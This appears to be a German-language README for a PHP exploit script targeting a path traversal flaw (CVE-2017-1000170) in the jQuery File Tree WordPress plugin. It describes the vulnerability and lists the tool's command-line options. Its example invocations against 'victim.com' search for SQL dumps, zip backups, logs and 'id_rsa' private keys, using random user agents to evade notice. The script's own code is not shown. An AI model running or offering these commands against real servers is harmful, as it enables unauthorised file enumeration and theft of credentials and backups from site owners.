nickguitar/jquery-file-tree-1.6.6-path-traversalJquery File Tree 1.6.6 Path-Traversal-Exploit (CVE-2017-1000170)
Jquery File Tree 1.6.6 Path Traversal Exploit (CVE-2017-1000170)
Die Standardeinstellungen des jQueryFileTree <1.6.6 Plugins für WordPress versagen beim Parsen der Benutzerdaten, was eine Path-Traversal-Schwachstelle verursacht.
Dadurch kann ein Angreifer alle Dateinamen aller lesbaren Ordner des Webservers auflisten.
In Verbindung mit einem Local File Inclusion oder Local File Disclosure Angriff kann dies dazu führen, dass beliebig lesbare Dateien des Servers heruntergeladen werden können.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
Legende:
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> Dies sucht nach allen .zip- und .sql-Dateien in victim.com/backup/admin und dessen Unterpfaden
(Der Punkt muss angegeben werden, um eine Erweiterung zu kennzeichnen)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> Dies sucht nach allen Dateien namens „id_rsa“ oder mit der Erweiterung
„.log“ in allen Ordnern des Servers, mit zufälligen User-Agents
Tipp: Verwenden Sie „php ..... | tee output“, um das Ergebnis in eine Ausgabedatei zu speichern
